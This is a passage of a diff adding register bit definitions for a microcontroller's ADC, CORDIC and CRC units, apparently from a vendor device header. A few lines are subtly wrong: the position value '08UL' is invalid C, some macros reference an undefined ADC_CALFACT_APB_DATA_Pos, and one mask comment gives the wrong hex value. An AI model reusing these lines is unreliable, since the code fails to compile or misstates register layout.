ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000020 */ +#define ADC_DIFSEL_DIFSEL_6 (0x00040UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000040 */ +#define ADC_DIFSEL_DIFSEL_7 (0x00080UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000080 */ +#define ADC_DIFSEL_DIFSEL_8 (0x00100UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000100 */ +#define ADC_DIFSEL_DIFSEL_9 (0x00200UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000200 */ +#define ADC_DIFSEL_DIFSEL_10 (0x00400UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000400 */ +#define ADC_DIFSEL_DIFSEL_11 (0x00800UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00000800 */ +#define ADC_DIFSEL_DIFSEL_12 (0x01000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00001000 */ +#define ADC_DIFSEL_DIFSEL_13 (0x02000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00002000 */ +#define ADC_DIFSEL_DIFSEL_14 (0x04000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00004000 */ +#define ADC_DIFSEL_DIFSEL_15 (0x08000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00008000 */ +#define ADC_DIFSEL_DIFSEL_16 (0x10000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00010000 */ +#define ADC_DIFSEL_DIFSEL_17 (0x20000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00020000 */ +#define ADC_DIFSEL_DIFSEL_18 (0x40000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00040000 */ +#define ADC_DIFSEL_DIFSEL_19 (0x80000UL << ADC_DIFSEL_DIFSEL_Pos) /*!< 0x00080000 */ + +/******************** Bit definition for ADC_CALFACT register ********************/ +#define ADC_CALFACT_I_APB_ADDR_Pos (0UL) +#define ADC_CALFACT_I_APB_ADDR_Msk (0xFFUL << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x000000FF */ +#define ADC_CALFACT_I_APB_ADDR ADC_CALFACT_I_APB_ADDR_Msk /*!< ADC calibration factors in single-ended mode */ +#define ADC_CALFACT_I_APB_ADDR_0 (0x001U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT_I_APB_ADDR_1 (0x002U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT_I_APB_ADDR_2 (0x004U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT_I_APB_ADDR_3 (0x008U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT_I_APB_ADDR_4 (0x010U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT_I_APB_ADDR_5 (0x020U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT_I_APB_ADDR_6 (0x040U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT_I_APB_ADDR_7 (0x080U << ADC_CALFACT_I_APB_ADDR_Pos) /*!< 0x00000080 */ + +#define ADC_CALFACT_I_APB_DATA_Pos (08UL) +#define ADC_CALFACT_I_APB_DATA_Msk (0xFFUL << ADC_CALFACT_I_APB_DATA_Pos) /*!< 0x0000FF00 */ +#define ADC_CALFACT_I_APB_DATA ADC_CALFACT_I_APB_DATA_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_APB_DATA_0 (0x001U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT_APB_DATA_1 (0x002U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT_APB_DATA_2 (0x004U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT_APB_DATA_3 (0x008U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT_APB_DATA_4 (0x010U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT_APB_DATA_5 (0x020U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT_APB_DATA_6 (0x040U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT_APB_DATA_7 (0x080U << ADC_CALFACT_APB_DATA_Pos) /*!< 0x00008000 */ + +#define ADC_CALFACT_VALIDITY_Pos (16UL) +#define ADC_CALFACT_VALIDITY_Msk (0x1UL << ADC_CALFACT_VALIDITY_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT_VALIDITY ADC_CALFACT_VALIDITY_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_LATCH_COEF_Pos (24UL) +#define ADC_CALFACT_LATCH_COEF_Msk (0x1UL << ADC_CALFACT_LATCH_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_LATCH_COEF ADC_CALFACT_LATCH_COEF_Msk /*!< ADC calibration factors in differential mode */ +#define ADC_CALFACT_CAPTURE_COEF_Pos (25UL) +#define ADC_CALFACT_CAPTURE_COEF_Msk (0x1UL << ADC_CALFACT_CAPTURE_COEF_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT_CAPTURE_COEF ADC_CALFACT_CAPTURE_COEF_Msk /*!< ADC calibration factors in differential mode */ + +#define ADC4_CALFACT_CALFACT_Pos (0UL) +#define ADC4_CALFACT_CALFACT_Msk (0x7FUL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x0000007F */ +#define ADC4_CALFACT_CALFACT ADC4_CALFACT_CALFACT_Msk /*!< ADC calibration factor in single-ended mode */ +#define ADC4_CALFACT_CALFACT_0 (0x01UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC4_CALFACT_CALFACT_1 (0x02UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC4_CALFACT_CALFACT_2 (0x04UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC4_CALFACT_CALFACT_3 (0x08UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC4_CALFACT_CALFACT_4 (0x10UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC4_CALFACT_CALFACT_5 (0x20UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC4_CALFACT_CALFACT_6 (0x40UL << ADC4_CALFACT_CALFACT_Pos) /*!< 0x00000040 */ + +/******************** Bit definition for ADC_CALFACT2 register ********************/ +#define ADC_CALFACT2_CALFACT_Pos (0UL) +#define ADC_CALFACT2_CALFACT_Msk (0xFFFFFFFFUL << ADC_CALFACT2_CALFACT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CALFACT2_CALFACT ADC_CALFACT2_CALFACT_Msk /*!< ADC Linearity calibration factors */ +#define ADC_CALFACT2_CALFACT_0 (0x00000001UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000001 */ +#define ADC_CALFACT2_CALFACT_1 (0x00000002UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000002 */ +#define ADC_CALFACT2_CALFACT_2 (0x00000004UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000004 */ +#define ADC_CALFACT2_CALFACT_3 (0x00000008UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000008 */ +#define ADC_CALFACT2_CALFACT_4 (0x00000010UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000010 */ +#define ADC_CALFACT2_CALFACT_5 (0x00000020UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000020 */ +#define ADC_CALFACT2_CALFACT_6 (0x00000040UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000040 */ +#define ADC_CALFACT2_CALFACT_7 (0x00000080UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000080 */ +#define ADC_CALFACT2_CALFACT_8 (0x00000100UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000100 */ +#define ADC_CALFACT2_CALFACT_9 (0x00000200UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000200 */ +#define ADC_CALFACT2_CALFACT_10 (0x00000400UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000400 */ +#define ADC_CALFACT2_CALFACT_11 (0x00000800UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00000800 */ +#define ADC_CALFACT2_CALFACT_12 (0x00001000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00001000 */ +#define ADC_CALFACT2_CALFACT_13 (0x00002000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00002000 */ +#define ADC_CALFACT2_CALFACT_14 (0x00004000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00004000 */ +#define ADC_CALFACT2_CALFACT_15 (0x00008000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00008000 */ +#define ADC_CALFACT2_CALFACT_16 (0x00010000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00010000 */ +#define ADC_CALFACT2_CALFACT_17 (0x00020000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00020000 */ +#define ADC_CALFACT2_CALFACT_18 (0x00040000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00040000 */ +#define ADC_CALFACT2_CALFACT_19 (0x00080000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00080000 */ +#define ADC_CALFACT2_CALFACT_20 (0x00100000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00100000 */ +#define ADC_CALFACT2_CALFACT_21 (0x00200000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00200000 */ +#define ADC_CALFACT2_CALFACT_22 (0x00400000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00400000 */ +#define ADC_CALFACT2_CALFACT_23 (0x00800000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x00800000 */ +#define ADC_CALFACT2_CALFACT_24 (0x01000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x01000000 */ +#define ADC_CALFACT2_CALFACT_25 (0x02000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x02000000 */ +#define ADC_CALFACT2_CALFACT_26 (0x04000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x04000000 */ +#define ADC_CALFACT2_CALFACT_27 (0x08000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x08000000 */ +#define ADC_CALFACT2_CALFACT_28 (0x10000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x10000000 */ +#define ADC_CALFACT2_CALFACT_29 (0x20000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x20000000 */ +#define ADC_CALFACT2_CALFACT_30 (0x40000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x40000000 */ +#define ADC_CALFACT2_CALFACT_31 (0x80000000UL << ADC_CALFACT2_CALFACT_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OR register ********************/ +#define ADC_OR_CHN0SEL_Pos (0UL) +#define ADC_OR_CHN0SEL_Msk (0x1UL << ADC_OR_CHN0SEL_Pos) /*!< 0x00000001 */ +#define ADC_OR_CHN0SEL ADC_OR_CHN0SEL_Msk /*!< ADC Channel 0 selection */ + +/************************* ADC Common registers *****************************/ +/******************** Bit definition for ADC_CSR register ********************/ +#define ADC_CSR_ADRDY_MST_Pos (0UL) +#define ADC_CSR_ADRDY_MST_Msk (0x1UL << ADC_CSR_ADRDY_MST_Pos) /*!< 0x00000001 */ +#define ADC_CSR_ADRDY_MST ADC_CSR_ADRDY_MST_Msk /*!< Master ADC ready */ +#define ADC_CSR_EOSMP_MST_Pos (1UL) +#define ADC_CSR_EOSMP_MST_Msk (0x1UL << ADC_CSR_EOSMP_MST_Pos) /*!< 0x00000002 */ +#define ADC_CSR_EOSMP_MST ADC_CSR_EOSMP_MST_Msk /*!< End of sampling phase flag of the master ADC */ +#define ADC_CSR_EOC_MST_Pos (2UL) +#define ADC_CSR_EOC_MST_Msk (0x1UL << ADC_CSR_EOC_MST_Pos) /*!< 0x00000004 */ +#define ADC_CSR_EOC_MST ADC_CSR_EOC_MST_Msk /*!< End of regular conversion of the master ADC */ +#define ADC_CSR_EOS_MST_Pos (3UL) +#define ADC_CSR_EOS_MST_Msk (0x1UL << ADC_CSR_EOS_MST_Pos) /*!< 0x00000008 */ +#define ADC_CSR_EOS_MST ADC_CSR_EOS_MST_Msk /*!< End of regular sequence flag of the master ADC */ +#define ADC_CSR_OVR_MST_Pos (4UL) +#define ADC_CSR_OVR_MST_Msk (0x1UL << ADC_CSR_OVR_MST_Pos) /*!< 0x00000010 */ +#define ADC_CSR_OVR_MST ADC_CSR_OVR_MST_Msk /*!< Overrun flag of the master ADC */ +#define ADC_CSR_JEOC_MST_Pos (5UL) +#define ADC_CSR_JEOC_MST_Msk (0x1UL << ADC_CSR_JEOC_MST_Pos) /*!< 0x00000020 */ +#define ADC_CSR_JEOC_MST ADC_CSR_JEOC_MST_Msk /*!< End of injected conversion of the master ADC */ +#define ADC_CSR_JEOS_MST_Pos (6UL) +#define ADC_CSR_JEOS_MST_Msk (0x1UL << ADC_CSR_JEOS_MST_Pos) /*!< 0x00000040 */ +#define ADC_CSR_JEOS_MST ADC_CSR_JEOS_MST_Msk /*!< End of injected sequence flag of the master ADC */ +#define ADC_CSR_AWD1_MST_Pos (7UL) +#define ADC_CSR_AWD1_MST_Msk (0x1UL << ADC_CSR_AWD1_MST_Pos) /*!< 0x00000080 */ +#define ADC_CSR_AWD1_MST ADC_CSR_AWD1_MST_Msk /*!< Analog watchdog 1 flag of the master ADC */ +#define ADC_CSR_AWD2_MST_Pos (8UL) +#define ADC_CSR_AWD2_MST_Msk (0x1UL << ADC_CSR_AWD2_MST_Pos) /*!< 0x00000100 */ +#define ADC_CSR_AWD2_MST ADC_CSR_AWD2_MST_Msk /*!< Analog watchdog 2 flag of the master ADC */ +#define ADC_CSR_AWD3_MST_Pos (9UL) +#define ADC_CSR_AWD3_MST_Msk (0x1UL << ADC_CSR_AWD3_MST_Pos) /*!< 0x00000200 */ +#define ADC_CSR_AWD3_MST ADC_CSR_AWD3_MST_Msk /*!< Analog watchdog 3 flag of the master ADC */ +#define ADC_CSR_JQOVF_MST_Pos (10UL) +#define ADC_CSR_JQOVF_MST_Msk (0x1UL << ADC_CSR_JQOVF_MST_Pos) /*!< 0x00000400 */ +#define ADC_CSR_JQOVF_MST ADC_CSR_JQOVF_MST_Msk /*!< Injected context queue overflow flag of the master ADC */ +#define ADC_CSR_LDORDY_MST_Pos (12UL) +#define ADC_CSR_LDORDY_MST_Msk (0x1UL << ADC_CSR_LDORDY_MST_Pos) /*!< 0x00001000 */ +#define ADC_CSR_LDORDY_MST ADC_CSR_LDORDY_MST_Msk /*!< Voltage regulator ready flag of the master ADC */ +#define ADC_CSR_ADRDY_SLV_Pos (16UL) +#define ADC_CSR_ADRDY_SLV_Msk (0x1UL << ADC_CSR_ADRDY_SLV_Pos) /*!< 0x00010000 */ +#define ADC_CSR_ADRDY_SLV ADC_CSR_ADRDY_SLV_Msk /*!< Slave ADC ready */ +#define ADC_CSR_EOSMP_SLV_Pos (17UL) +#define ADC_CSR_EOSMP_SLV_Msk (0x1UL << ADC_CSR_EOSMP_SLV_Pos) /*!< 0x00020000 */ +#define ADC_CSR_EOSMP_SLV ADC_CSR_EOSMP_SLV_Msk /*!< End of sampling phase flag of the slave ADC */ +#define ADC_CSR_EOC_SLV_Pos (18UL) +#define ADC_CSR_EOC_SLV_Msk (0x1UL << ADC_CSR_EOC_SLV_Pos) /*!< 0x00040000 */ +#define ADC_CSR_EOC_SLV ADC_CSR_EOC_SLV_Msk /*!< End of regular conversion of the slave ADC */ +#define ADC_CSR_EOS_SLV_Pos (19UL) +#define ADC_CSR_EOS_SLV_Msk (0x1UL << ADC_CSR_EOS_SLV_Pos) /*!< 0x00080000 */ +#define ADC_CSR_EOS_SLV ADC_CSR_EOS_SLV_Msk /*!< End of regular sequence flag of the slave ADC */ +#define ADC_CSR_OVR_SLV_Pos (20UL) +#define ADC_CSR_OVR_SLV_Msk (0x1UL << ADC_CSR_OVR_SLV_Pos) /*!< 0x00100000 */ +#define ADC_CSR_OVR_SLV ADC_CSR_OVR_SLV_Msk /*!< Overrun flag of the slave ADC */ +#define ADC_CSR_JEOC_SLV_Pos (21UL) +#define ADC_CSR_JEOC_SLV_Msk (0x1UL << ADC_CSR_JEOC_SLV_Pos) /*!< 0x00200000 */ +#define ADC_CSR_JEOC_SLV ADC_CSR_JEOC_SLV_Msk /*!< End of injected conversion of the slave ADC */ +#define ADC_CSR_JEOS_SLV_Pos (22UL) +#define ADC_CSR_JEOS_SLV_Msk (0x1UL << ADC_CSR_JEOS_SLV_Pos) /*!< 0x00400000 */ +#define ADC_CSR_JEOS_SLV ADC_CSR_JEOS_SLV_Msk /*!< End of injected sequence flag of the slave ADC */ +#define ADC_CSR_AWD1_SLV_Pos (23UL) +#define ADC_CSR_AWD1_SLV_Msk (0x1UL << ADC_CSR_AWD1_SLV_Pos) /*!< 0x00800000 */ +#define ADC_CSR_AWD1_SLV ADC_CSR_AWD1_SLV_Msk /*!< Analog watchdog 1 flag of the slave ADC */ +#define ADC_CSR_AWD2_SLV_Pos (24UL) +#define ADC_CSR_AWD2_SLV_Msk (0x1UL << ADC_CSR_AWD2_SLV_Pos) /*!< 0x01000000 */ +#define ADC_CSR_AWD2_SLV ADC_CSR_AWD2_SLV_Msk /*!< Analog watchdog 2 flag of the slave ADC */ +#define ADC_CSR_AWD3_SLV_Pos (25UL) +#define ADC_CSR_AWD3_SLV_Msk (0x1UL << ADC_CSR_AWD3_SLV_Pos) /*!< 0x02000000 */ +#define ADC_CSR_AWD3_SLV ADC_CSR_AWD3_SLV_Msk /*!< Analog watchdog 3 flag of the slave ADC */ +#define ADC_CSR_JQOVF_SLV_Pos (26UL) +#define ADC_CSR_JQOVF_SLV_Msk (0x1UL << ADC_CSR_JQOVF_SLV_Pos) /*!< 0x04000000 */ +#define ADC_CSR_JQOVF_SLV ADC_CSR_JQOVF_SLV_Msk /*!< Injected context queue overflow flag of the slave ADC */ +#define ADC_CSR_LDORDY_SLV_Pos (28UL) +#define ADC_CSR_LDORDY_SLV_Msk (0x1UL << ADC_CSR_LDORDY_SLV_Pos) /*!< 0x10000000 */ +#define ADC_CSR_LDORDY_SLV ADC_CSR_LDORDY_SLV_Msk /*!< Voltage regulator ready flag of the slave ADC */ + +/******************** Bit definition for ADC_CCR register ********************/ +#define ADC_CCR_DUAL_Pos (0UL) +#define ADC_CCR_DUAL_Msk (0x1FUL << ADC_CCR_DUAL_Pos) /*!< 0x0000001F */ +#define ADC_CCR_DUAL ADC_CCR_DUAL_Msk /*!< Dual ADC mode selection */ +#define ADC_CCR_DUAL_0 (0x01UL << ADC_CCR_DUAL_Pos) /*!< 0x00000001 */ +#define ADC_CCR_DUAL_1 (0x02UL << ADC_CCR_DUAL_Pos) /*!< 0x00000002 */ +#define ADC_CCR_DUAL_2 (0x04UL << ADC_CCR_DUAL_Pos) /*!< 0x00000004 */ +#define ADC_CCR_DUAL_3 (0x08UL << ADC_CCR_DUAL_Pos) /*!< 0x00000008 */ +#define ADC_CCR_DUAL_4 (0x10UL << ADC_CCR_DUAL_Pos) /*!< 0x00000010 */ + +#define ADC_CCR_DELAY_Pos (8UL) +#define ADC_CCR_DELAY_Msk (0xFUL << ADC_CCR_DELAY_Pos) /*!< 0x00000F00 */ +#define ADC_CCR_DELAY ADC_CCR_DELAY_Msk /*!< Delay between 2 sampling phases */ +#define ADC_CCR_DELAY_0 (0x1UL << ADC_CCR_DELAY_Pos) /*!< 0x00000100 */ +#define ADC_CCR_DELAY_1 (0x2UL << ADC_CCR_DELAY_Pos) /*!< 0x00000200 */ +#define ADC_CCR_DELAY_2 (0x4UL << ADC_CCR_DELAY_Pos) /*!< 0x00000400 */ +#define ADC_CCR_DELAY_3 (0x8UL << ADC_CCR_DELAY_Pos) /*!< 0x00000800 */ + +#define ADC_CCR_DAMDF_Pos (14UL) +#define ADC_CCR_DAMDF_Msk (0x3UL << ADC_CCR_DAMDF_Pos) /*!< 0x0000C000 */ +#define ADC_CCR_DAMDF ADC_CCR_DAMDF_Msk /*!< Dual ADC mode data format */ +#define ADC_CCR_DAMDF_0 (0x1UL << ADC_CCR_DAMDF_Pos) /*!< 0x00004000 */ +#define ADC_CCR_DAMDF_1 (0x2UL << ADC_CCR_DAMDF_Pos) /*!< 0x00008000 */ + +#define ADC_CCR_PRESC_Pos (18UL) +#define ADC_CCR_PRESC_Msk (0xFUL << ADC_CCR_PRESC_Pos) /*!< 0x003C0000 */ +#define ADC_CCR_PRESC ADC_CCR_PRESC_Msk /*!< ADC prescaler */ +#define ADC_CCR_PRESC_0 (0x1UL << ADC_CCR_PRESC_Pos) /*!< 0x00040000 */ +#define ADC_CCR_PRESC_1 (0x2UL << ADC_CCR_PRESC_Pos) /*!< 0x00080000 */ +#define ADC_CCR_PRESC_2 (0x4UL << ADC_CCR_PRESC_Pos) /*!< 0x00100000 */ +#define ADC_CCR_PRESC_3 (0x8UL << ADC_CCR_PRESC_Pos) /*!< 0x00200000 */ + +#define ADC_CCR_VREFEN_Pos (22UL) +#define ADC_CCR_VREFEN_Msk (0x1UL << ADC_CCR_VREFEN_Pos) /*!< 0x00400000 */ +#define ADC_CCR_VREFEN ADC_CCR_VREFEN_Msk /*!< VREFINT enable */ +#define ADC_CCR_VSENSEEN_Pos (23UL) +#define ADC_CCR_VSENSEEN_Msk (0x1UL << ADC_CCR_VSENSEEN_Pos) /*!< 0x00800000 */ +#define ADC_CCR_VSENSEEN ADC_CCR_VSENSEEN_Msk /*!< Temperature sensor enable */ +#define ADC_CCR_VBATEN_Pos (24UL) +#define ADC_CCR_VBATEN_Msk (0x1UL << ADC_CCR_VBATEN_Pos) /*!< 0x01000000 */ +#define ADC_CCR_VBATEN ADC_CCR_VBATEN_Msk /*!< VBAT enable */ +#define ADC_CCR_LFMEN_Pos (25UL) +#define ADC_CCR_LFMEN_Msk (0x1UL << ADC_CCR_LFMEN_Pos) /*!< 0x02000000 */ +#define ADC_CCR_LFMEN ADC_CCR_LFMEN_Msk /*!< Low Frequency Mode Enable, specific ADC4*/ +#define ADC_CCR_VDDCOREN_Pos (26UL) +#define ADC_CCR_VDDCOREN_Msk (0x1UL << ADC_CCR_VDDCOREN_Pos) /*!< 0x04000000 */ +#define ADC_CCR_VDDCOREN ADC_CCR_VDDCOREN_Msk /*!< VDDCode enable */ + +/******************** Bit definition for ADC_CDR register *******************/ +#define ADC_CDR_RDATA_MST_Pos (0UL) +#define ADC_CDR_RDATA_MST_Msk (0xFFFFUL << ADC_CDR_RDATA_MST_Pos) /*!< 0x0000FFFF */ +#define ADC_CDR_RDATA_MST ADC_CDR_RDATA_MST_Msk /*!< ADC multimode master group regular conversion data */ + +#define ADC_CDR_RDATA_SLV_Pos (16UL) +#define ADC_CDR_RDATA_SLV_Msk (0xFFFFUL << ADC_CDR_RDATA_SLV_Pos) /*!< 0xFFFF0000 */ +#define ADC_CDR_RDATA_SLV ADC_CDR_RDATA_SLV_Msk /*!< ADC multimode slave group regular conversion data */ + +/******************** Bit definition for ADC_CDR2 register ******************/ +#define ADC_CDR2_RDATA_ALT_Pos (0UL) +#define ADC_CDR2_RDATA_ALT_Msk (0xFFFFFFFFUL << ADC_CDR2_RDATA_ALT_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CDR2_RDATA_ALT ADC_CDR2_RDATA_ALT_Msk /*!< Regular data of the master/slave alternated ADCs */ + +/******************************************************************************/ +/* */ +/* CORDIC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CORDIC_CSR register *****************/ +#define CORDIC_CSR_FUNC_Pos (0UL) +#define CORDIC_CSR_FUNC_Msk (0xFUL << CORDIC_CSR_FUNC_Pos) /*!< 0x0000000F */ +#define CORDIC_CSR_FUNC CORDIC_CSR_FUNC_Msk /*!< Function */ +#define CORDIC_CSR_FUNC_0 (0x1UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000001 */ +#define CORDIC_CSR_FUNC_1 (0x2UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000002 */ +#define CORDIC_CSR_FUNC_2 (0x4UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000004 */ +#define CORDIC_CSR_FUNC_3 (0x8UL << CORDIC_CSR_FUNC_Pos) /*!< 0x00000008 */ +#define CORDIC_CSR_PRECISION_Pos (4UL) +#define CORDIC_CSR_PRECISION_Msk (0xFUL << CORDIC_CSR_PRECISION_Pos) /*!< 0x000000F0 */ +#define CORDIC_CSR_PRECISION CORDIC_CSR_PRECISION_Msk /*!< Precision */ +#define CORDIC_CSR_PRECISION_0 (0x1UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000010 */ +#define CORDIC_CSR_PRECISION_1 (0x2UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000020 */ +#define CORDIC_CSR_PRECISION_2 (0x4UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000040 */ +#define CORDIC_CSR_PRECISION_3 (0x8UL << CORDIC_CSR_PRECISION_Pos) /*!< 0x00000080 */ +#define CORDIC_CSR_SCALE_Pos (8UL) +#define CORDIC_CSR_SCALE_Msk (0x7UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000700 */ +#define CORDIC_CSR_SCALE CORDIC_CSR_SCALE_Msk /*!< Scaling factor */ +#define CORDIC_CSR_SCALE_0 (0x1UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000100 */ +#define CORDIC_CSR_SCALE_1 (0x2UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000200 */ +#define CORDIC_CSR_SCALE_2 (0x4UL << CORDIC_CSR_SCALE_Pos) /*!< 0x00000400 */ +#define CORDIC_CSR_IEN_Pos (16UL) +#define CORDIC_CSR_IEN_Msk (0x1UL << CORDIC_CSR_IEN_Pos) /*!< 0x00010000 */ +#define CORDIC_CSR_IEN CORDIC_CSR_IEN_Msk /*!< Interrupt Enable */ +#define CORDIC_CSR_DMAREN_Pos (17UL) +#define CORDIC_CSR_DMAREN_Msk (0x1UL << CORDIC_CSR_DMAREN_Pos) /*!< 0x00020000 */ +#define CORDIC_CSR_DMAREN CORDIC_CSR_DMAREN_Msk /*!< DMA Read channel Enable */ +#define CORDIC_CSR_DMAWEN_Pos (18UL) +#define CORDIC_CSR_DMAWEN_Msk (0x1UL << CORDIC_CSR_DMAWEN_Pos) /*!< 0x00040000 */ +#define CORDIC_CSR_DMAWEN CORDIC_CSR_DMAWEN_Msk /*!< DMA Write channel Enable */ +#define CORDIC_CSR_NRES_Pos (19UL) +#define CORDIC_CSR_NRES_Msk (0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20UL) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21UL) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22UL) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31UL) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0UL) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0UL) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0UL) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0UL) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR 